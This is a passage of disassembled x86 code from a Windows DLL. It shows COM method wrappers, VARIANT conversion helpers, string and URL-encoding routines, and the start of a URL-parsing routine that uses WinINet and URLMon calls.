		call	dword ptr [eax+50h]
		mov	[edi], eax
		jmp	short loc_69B7A424
; ---------------------------------------------------------------------------


loc_69B7A404:				; DATA XREF: .text:69B7A454o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A40D:				; DATA XREF: .text:69B7A458o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B7A424:				; CODE XREF: sub_69B7A39C+66j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B7A428:				; CODE XREF: sub_69B7A39C+4Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B7A443:				; CODE XREF: sub_69B7A39C+20j
		call	sub_69B1853C
		retn	10h
sub_69B7A39C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7A450	dd 0FFFFFFFFh			dd offset loc_69B7A404
		dd offset loc_69B7A40D

; =============== S U B	R O U T	I N E =======================================



sub_69B7A45C	proc near		; DATA XREF: .text:69B16A00o
		push	20h
		push	offset dword_69B7A4F8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B7A47E
		mov	eax, 80004005h
		jmp	short loc_69B7A4ED
; ---------------------------------------------------------------------------


loc_69B7A47E:				; CODE XREF: sub_69B7A45C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], edi
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+54h]
		jmp	short loc_69B7A4CE
; ---------------------------------------------------------------------------


loc_69B7A4AE:				; DATA XREF: .text:69B7A4FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A4B7:				; DATA XREF: .text:69B7A500o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B7A4CE:				; CODE XREF: sub_69B7A45C+50j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B7A4ED:				; CODE XREF: sub_69B7A45C+20j
		call	sub_69B1853C
		retn	8
sub_69B7A45C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B7A4F8	dd 0FFFFFFFFh			dd offset loc_69B7A4AE
		dd offset loc_69B7A4B7

; =============== S U B	R O U T	I N E =======================================



sub_69B7A504	proc near		; DATA XREF: .text:69B16A04o
		push	20h
		push	offset dword_69B7A5A0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B7A526
		mov	eax, 80004005h
		jmp	short loc_69B7A595
; ---------------------------------------------------------------------------


loc_69B7A526:				; CODE XREF: sub_69B7A504+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], edi
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+58h]
		jmp	short loc_69B7A576
; ---------------------------------------------------------------------------


loc_69B7A556:				; DATA XREF: .text:69B7A5A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A55F:				; DATA XREF: .text:69B7A5A8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B7A576:				; CODE XREF: sub_69B7A504+50j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B7A595:				; CODE XREF: sub_69B7A504+20j
		call	sub_69B1853C
		retn	8
sub_69B7A504	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7A5A0	dd 0FFFFFFFFh			dd offset loc_69B7A556
		dd offset loc_69B7A55F

; =============== S U B	R O U T	I N E =======================================



sub_69B7A5AC	proc near		; DATA XREF: .text:69B16A08o
		push	20h
		push	offset dword_69B7A658
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7A5CE
		mov	eax, 80004005h
		jmp	short loc_69B7A64A
; ---------------------------------------------------------------------------


loc_69B7A5CE:				; CODE XREF: sub_69B7A5AC+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B7A5F6
		mov	ebx, 80070057h
		jmp	short loc_69B7A62F
; ---------------------------------------------------------------------------


loc_69B7A5F6:				; CODE XREF: sub_69B7A5AC+41j
		mov	[ebp-4], ebx
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	[edi], eax
		jmp	short loc_69B7A62B
; ---------------------------------------------------------------------------


loc_69B7A60B:				; DATA XREF: .text:69B7A65Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A614:				; DATA XREF: .text:69B7A660o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B7A62B:				; CODE XREF: sub_69B7A5AC+5Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B7A62F:				; CODE XREF: sub_69B7A5AC+48j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B7A64A:				; CODE XREF: sub_69B7A5AC+20j
		call	sub_69B1853C
		retn	8
sub_69B7A5AC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B7A658	dd 0FFFFFFFFh			dd offset loc_69B7A60B
		dd offset loc_69B7A614

; =============== S U B	R O U T	I N E =======================================



sub_69B7A664	proc near		; DATA XREF: .text:69B16A0Co
		push	20h
		push	offset dword_69B7A710
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7A686
		mov	eax, 80004005h
		jmp	short loc_69B7A702
; ---------------------------------------------------------------------------


loc_69B7A686:				; CODE XREF: sub_69B7A664+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B7A6AE
		mov	ebx, 80070057h
		jmp	short loc_69B7A6E7
; ---------------------------------------------------------------------------


loc_69B7A6AE:				; CODE XREF: sub_69B7A664+41j
		mov	[ebp-4], ebx
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+60h]
		mov	[edi], eax
		jmp	short loc_69B7A6E3
; ---------------------------------------------------------------------------


loc_69B7A6C3:				; DATA XREF: .text:69B7A714o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A6CC:				; DATA XREF: .text:69B7A718o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B7A6E3:				; CODE XREF: sub_69B7A664+5Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B7A6E7:				; CODE XREF: sub_69B7A664+48j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B7A702:				; CODE XREF: sub_69B7A664+20j
		call	sub_69B1853C
		retn	8
sub_69B7A664	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7A710	dd 0FFFFFFFFh			dd offset loc_69B7A6C3
		dd offset loc_69B7A6CC

; =============== S U B	R O U T	I N E =======================================



sub_69B7A71C	proc near		; DATA XREF: .text:69B16A10o
		push	20h
		push	offset dword_69B7A7B8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B7A73E
		mov	eax, 80004005h
		jmp	short loc_69B7A7AA
; ---------------------------------------------------------------------------


loc_69B7A73E:				; CODE XREF: sub_69B7A71C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], edi
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+64h]
		jmp	short loc_69B7A78B
; ---------------------------------------------------------------------------


loc_69B7A76B:				; DATA XREF: .text:69B7A7BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A774:				; DATA XREF: .text:69B7A7C0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B7A78B:				; CODE XREF: sub_69B7A71C+4Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B7A7AA:				; CODE XREF: sub_69B7A71C+20j
		call	sub_69B1853C
		retn	4
sub_69B7A71C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B7A7B8	dd 0FFFFFFFFh			dd offset loc_69B7A76B
		dd offset loc_69B7A774

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7A7C4	proc near		; CODE XREF: sub_69B7B48A+1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		jnz	short loc_69B7A7D5
		mov	eax, 80070057h
		jmp	short loc_69B7A802
; ---------------------------------------------------------------------------


loc_69B7A7D5:				; CODE XREF: sub_69B7A7C4+8j
		mov	edx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_8]


loc_69B7A7DC:				; CODE XREF: sub_69B7A7C4+2Aj
		mov	cx, [esi]
		test	cx, cx
		jz	short loc_69B7A7F0
		mov	[edx], cx
		inc	edx
		inc	edx
		inc	esi
		inc	esi
		dec	[ebp+arg_4]
		jnz	short loc_69B7A7DC


loc_69B7A7F0:				; CODE XREF: sub_69B7A7C4+1Ej
		cmp	[ebp+arg_4], 0
		pop	esi
		jnz	short loc_69B7A7FE
		dec	edx
		dec	edx
		mov	eax, 8007007Ah


loc_69B7A7FE:				; CODE XREF: sub_69B7A7C4+31j
		and	word ptr [edx],	0


loc_69B7A802:				; CODE XREF: sub_69B7A7C4+Fj
		pop	ebp
		retn	0Ch
sub_69B7A7C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7A806	proc near		; CODE XREF: sub_69B7D68D+11Bp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	short loc_69B7A84A
		push	esi
		call	sub_69B84C68
		test	eax, eax
		pop	ecx
		jz	short loc_69B7A84A
		push	ebx
		lea	ebx, [eax+eax]
		lea	eax, [ebx+2]
		push	eax
		call	sub_69B11E44
		mov	ebp, eax
		test	ebp, ebp
		jz	short loc_69B7A849
		push	edi
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		mov	edi, ebp
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		and	word ptr [ebx+ebp], 0
		pop	edi


loc_69B7A849:				; CODE XREF: sub_69B7A806+28j
		pop	ebx


loc_69B7A84A:				; CODE XREF: sub_69B7A806+Aj
					; sub_69B7A806+15j
		pop	esi
		mov	eax, ebp
		pop	ebp
		retn	4
sub_69B7A806	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7A851(VARIANTARG	pvarSrc, int)

sub_69B7A851	proc near		; CODE XREF: sub_69B7D68D+DBp
					; sub_69B7D68D+F9p

pvarg		= VARIANTARG ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
pvarSrc		= VARIANTARG ptr  8
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_10]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		mov	[ebp+var_4], esi
		jz	loc_69B7A8ED
		cmp	word ptr [ebp+pvarSrc.anonymous_0], si
		mov	[eax], esi
		jz	short loc_69B7A8ED
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 1
		jz	short loc_69B7A8ED
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 0Ah
		jz	short loc_69B7A8ED
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		push	8		; vt
		push	1		; wFlags
		lea	eax, [ebp+pvarSrc]
		push	eax		; pvarSrc
		lea	eax, [ebp+pvarg]
		push	eax		; pvargDest
		call	VariantChangeType
		test	eax, eax
		jl	short loc_69B7A8ED
		push	ebx
		push	dword ptr [ebp+pvarg.anonymous_0+8]
		call	sub_69B84C68
		lea	ebx, [eax+eax]
		mov	[ebp+var_8], eax
		pop	ecx
		lea	eax, [ebx+2]
		push	eax
		call	sub_69B11E44
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_69B7A8E2
		mov	esi, dword ptr [ebp+pvarg.anonymous_0+8]
		push	edi
		mov	ecx, ebx
		mov	edx, ecx
		shr	ecx, 2
		mov	edi, eax
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		and	word ptr [ebx+eax], 0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		pop	edi


loc_69B7A8E2:				; CODE XREF: sub_69B7A851+6Bj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		pop	ebx


loc_69B7A8ED:				; CODE XREF: sub_69B7A851+11j
					; sub_69B7A851+1Dj ...
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn	14h
sub_69B7A851	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7A8F5(VARIANTARG	pvarSrc)

sub_69B7A8F5	proc near		; CODE XREF: sub_69B7D8C5+1ACp

pvarg		= VARIANTARG ptr -10h
pvarSrc		= VARIANTARG ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		xor	esi, esi
		cmp	word ptr [ebp+pvarSrc.anonymous_0], si
		jz	short loc_69B7A935
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 1
		jz	short loc_69B7A935
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 0Ah
		jz	short loc_69B7A935
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		push	8		; vt
		push	1		; wFlags
		lea	eax, [ebp+pvarSrc]
		push	eax		; pvarSrc
		lea	eax, [ebp+pvarg]
		push	eax		; pvargDest
		call	VariantChangeType
		test	eax, eax
		jl	short loc_69B7A935
		mov	esi, dword ptr [ebp+pvarg.anonymous_0+8]


loc_69B7A935:				; CODE XREF: sub_69B7A8F5+Dj
					; sub_69B7A8F5+14j ...
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_69B7A8F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7A93C(VARIANTARG	pvarSrc, char)

sub_69B7A93C	proc near		; CODE XREF: sub_69B7D68D+15Cp

pvarg		= VARIANTARG ptr -10h
pvarSrc		= VARIANTARG ptr  8
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 0
		push	ebx
		mov	bl, [ebp+arg_10]
		jz	short loc_69B7A983
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 1
		jz	short loc_69B7A983
		cmp	word ptr [ebp+pvarSrc.anonymous_0], 0Ah
		jz	short loc_69B7A983
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		push	0Bh		; vt
		push	1		; wFlags
		lea	eax, [ebp+pvarSrc]
		push	eax		; pvarSrc
		lea	eax, [ebp+pvarg]
		push	eax		; pvargDest
		call	VariantChangeType
		test	eax, eax
		jl	short loc_69B7A983
		cmp	word ptr [ebp+pvarg.anonymous_0+8], 0FFFFh
		setz	bl


loc_69B7A983:				; CODE XREF: sub_69B7A93C+Fj
					; sub_69B7A93C+16j ...
		mov	al, bl
		pop	ebx
		leave
		retn	14h
sub_69B7A93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7A98A	proc near		; CODE XREF: sub_69B7D8C5+1C7p

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		call	dword_69B92948
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_69B7A9A7
		mov	eax, 80004005h
		jmp	short loc_69B7AA20
; ---------------------------------------------------------------------------


loc_69B7A9A7:				; CODE XREF: sub_69B7A98A+14j
		push	esi
		push	edi
		push	ebx
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_69B1A8C7
		push	[ebp+arg_8]
		call	sub_69B84C68
		cmp	eax, ebx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[edi], ebx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], ebx
		mov	[esi], ebx
		jz	short loc_69B7AA0B
		lea	eax, [eax+eax*2+1]
		push	eax
		call	sub_69B11E44
		cmp	eax, ebx
		mov	[esi], eax
		jnz	short loc_69B7A9E7
		mov	ebx, 8007000Eh
		jmp	short loc_69B7AA0B
; ---------------------------------------------------------------------------


loc_69B7A9E7:				; CODE XREF: sub_69B7A98A+54j
		mov	eax, [ebp+var_4]
		push	edi
		lea	eax, [eax+eax*2]
		mov	[edi], eax
		push	dword ptr [esi]
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		call	sub_69B36E46
		mov	eax, [esi]
		mov	ecx, [edi]
		mov	[eax+ecx], bl


loc_69B7AA0B:				; CODE XREF: sub_69B7A98A+44j
					; sub_69B7A98A+5Bj
		lea	ecx, [ebp+var_18]
		call	sub_69B1976C
		push	[ebp+var_C]
		call	dword_69B92944
		pop	edi
		mov	eax, ebx
		pop	esi


loc_69B7AA20:				; CODE XREF: sub_69B7A98A+1Bj
		pop	ebx
		leave
		retn	0Ch
sub_69B7A98A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7AA25	proc near		; CODE XREF: sub_69B7B065+5Fp
					; sub_69B7B065+1A7p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		cmp	[esi+3Ch], eax
		jz	short loc_69B7AA74
		push	ebx
		mov	[esi+3Ch], eax
		mov	eax, [esi+0B8h]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B7AA73
		push	ebx
		push	ebx
		push	ebx
		lea	edx, [ebp+var_10]
		push	edx
		push	1
		push	800h
		push	offset dword_69B2AFB0
		push	ebx
		mov	byte ptr [esi+40h], 1
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		mov	[esi+40h], bl


loc_69B7AA73:				; CODE XREF: sub_69B7AA25+1Fj
		pop	ebx


loc_69B7AA74:				; CODE XREF: sub_69B7AA25+Fj
		pop	esi
		leave
		retn	4
sub_69B7AA25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7AA79	proc near		; CODE XREF: sub_69B7AB78+1DBp
					; sub_69B7AB78+202p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		jbe	short loc_69B7AAB7
		mov	edi, ebx


loc_69B7AA95:				; CODE XREF: sub_69B7AA79+3Cj
		xor	eax, eax
		mov	ax, [esi]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B84C7E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_69B7AAAF
		add	[ebp+var_4], 3
		jmp	short loc_69B7AAB2
; ---------------------------------------------------------------------------


loc_69B7AAAF:				; CODE XREF: sub_69B7AA79+2Ej
		inc	[ebp+var_4]


loc_69B7AAB2:				; CODE XREF: sub_69B7AA79+34j
		inc	esi
		inc	esi
		dec	edi
		jnz	short loc_69B7AA95


loc_69B7AAB7:				; CODE XREF: sub_69B7AA79+18j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_69B7AB37
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_69B11E44
		mov	esi, eax
		test	esi, esi
		mov	[ebp+arg_8], esi
		jnz	short loc_69B7AADA
		mov	[ebp+var_8], 8007000Eh
		jmp	short loc_69B7AB3D
; ---------------------------------------------------------------------------


loc_69B7AADA:				; CODE XREF: sub_69B7AA79+56j
		test	ebx, ebx
		mov	edi, [ebp+arg_4]
		jbe	short loc_69B7AB31


loc_69B7AAE1:				; CODE XREF: sub_69B7AA79+B6j
		xor	eax, eax
		mov	ax, [edi]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B84C7E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_69B7AB24
		mov	word ptr [esi],	25h
		xor	eax, eax
		mov	al, [edi]
		inc	esi
		inc	esi
		shr	eax, 4
		and	eax, 0Fh
		mov	ax, ds:word_69B7AB58[eax*2]
		mov	[esi], ax
		xor	eax, eax
		mov	al, [edi]
		inc	esi
		inc	esi
		and	eax, 0Fh
		mov	ax, ds:word_69B7AB58[eax*2]
		jmp	short loc_69B7AB27
; ---------------------------------------------------------------------------


loc_69B7AB24:				; CODE XREF: sub_69B7AA79+7Aj
		mov	ax, [edi]


loc_69B7AB27:				; CODE XREF: sub_69B7AA79+A9j
		mov	[esi], ax
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		dec	ebx
		jnz	short loc_69B7AAE1


loc_69B7AB31:				; CODE XREF: sub_69B7AA79+66j
		and	word ptr [esi],	0
		jmp	short loc_69B7AB3D
; ---------------------------------------------------------------------------


loc_69B7AB37:				; CODE XREF: sub_69B7AA79+43j
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_8], eax


loc_69B7AB3D:				; CODE XREF: sub_69B7AA79+5Fj
					; sub_69B7AA79+BCj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		pop	ebx
		leave
		retn	14h
sub_69B7AA79	endp

; ---------------------------------------------------------------------------
		align 4
word_69B7AB58	dw 30h			; DATA XREF: sub_69B7AA79+8Dr
					; sub_69B7AA79+A1r
		dw 31h
a23456789abcdef:
		unicode	0, <23456789ABCDEF>

; =============== S U B	R O U T	I N E =======================================



sub_69B7AB78	proc near		; CODE XREF: sub_69B7D68D+136p
		push	68h
		push	offset dword_69B7AE80
		call	sub_69B19C5C
		mov	ebx, ecx
		mov	[ebp-1Ch], ebx
		call	dword_69B92948
		mov	[ebp-20h], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B7ABA2
		mov	eax, 80004005h
		jmp	loc_69B7AE54
; ---------------------------------------------------------------------------


loc_69B7ABA2:				; CODE XREF: sub_69B7AB78+1Ej
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1A8C7
		push	0Eh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-64h]
		rep stosd
		mov	[ebp-6Ch], esi
		mov	[ebp-70h], esi
		mov	dword ptr [ebp-68h], 3Ch
		xor	edi, edi
		inc	edi
		mov	[ebp-60h], edi
		mov	[ebp-54h], edi
		mov	[ebp-50h], di
		mov	[ebp-48h], edi
		mov	[ebp-40h], edi
		mov	[ebp-38h], edi
		mov	[ebp-30h], edi
		lea	eax, [ebp-68h]
		push	eax		; lpUrlComponents
		push	esi		; dwFlags
		push	esi		; dwUrlLength
		push	dword ptr [ebp+8] ; lpszUrl
		call	InternetCrackUrlW	; InternetCrackUrlW
		cmp	eax, esi
		jz	loc_69B7AE5C
		cmp	byte ptr [ebx+0B0h], 0
		jnz	loc_69B7ACBC
		cmp	[ebp-4Ch], esi
		jz	loc_69B7ACBC
		cmp	[ebp-44h], esi
		jz	loc_69B7ACBC
		push	dword ptr [ebx+84h]
		call	sub_69B1B2B7
		mov	eax, [ebp-48h]
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_69B11E44
		mov	[ebx+84h], eax
		cmp	eax, esi
		jz	loc_69B7AE09
		lea	edx, [ebx+88h]
		mov	ecx, [ebp-48h]
		mov	[edx], ecx
		mov	esi, [ebp-4Ch]
		mov	edi, eax
		rep movsw
		mov	eax, [edx]
		mov	ecx, [ebx+84h]
		and	word ptr [ecx+eax*2], 0
		push	dword ptr [ebx+8Ch]
		call	sub_69B1B2B7
		mov	eax, [ebp-40h]
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_69B11E44
		mov	[ebx+8Ch], eax
		test	eax, eax
		jz	loc_69B7AE09
		lea	edx, [ebx+90h]
		mov	ecx, [ebp-40h]
		mov	[edx], ecx
		mov	esi, [ebp-44h]
		mov	edi, eax
		rep movsw
		mov	eax, [edx]
		mov	ecx, [ebx+8Ch]
		and	word ptr [ecx+eax*2], 0
		cmp	dword ptr [ebx+84h], 0
		jz	short loc_69B7ACB7
		cmp	dword ptr [ebx+8Ch], 0
		jz	short loc_69B7ACB7
		mov	byte ptr [ebx+0B0h], 1


loc_69B7ACB7:				; CODE XREF: sub_69B7AB78+12Dj
					; sub_69B7AB78+136j
		xor	edi, edi
		inc	edi
		xor	esi, esi


loc_69B7ACBC:				; CODE XREF: sub_69B7AB78+82j
					; sub_69B7AB78+8Bj ...
		mov	[ebp-4Ch], esi
		mov	[ebp-48h], esi
		mov	[ebp-44h], esi
		mov	[ebp-40h], esi
		cmp	byte ptr [ebx+0B0h], 0
		jz	loc_69B7AD87
		cmp	byte_69B9B683, 0
		jnz	short loc_69B7AD30
		mov	byte_69B9B683, 1
		mov	[ebp-4], esi
		mov	[ebp-74h], esi
		mov	[ebp-78h], esi
		push	esi		; dwReserved
		lea	eax, [ebp-78h]
		push	eax		; pdwBufferLength
		push	4		; dwBufferLength
		lea	eax, [ebp-74h]
		push	eax		; pBuffer
		push	10000008h	; dwOption
		call	UrlMkGetSessionOption
		test	eax, eax
		jl	short loc_69B7AD13
		cmp	[ebp-74h], edi
		jnz	short loc_69B7AD13
		mov	byte_69B9B682, 1


loc_69B7AD13:				; CODE XREF: sub_69B7AB78+18Dj
					; sub_69B7AB78+192j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B7AD30
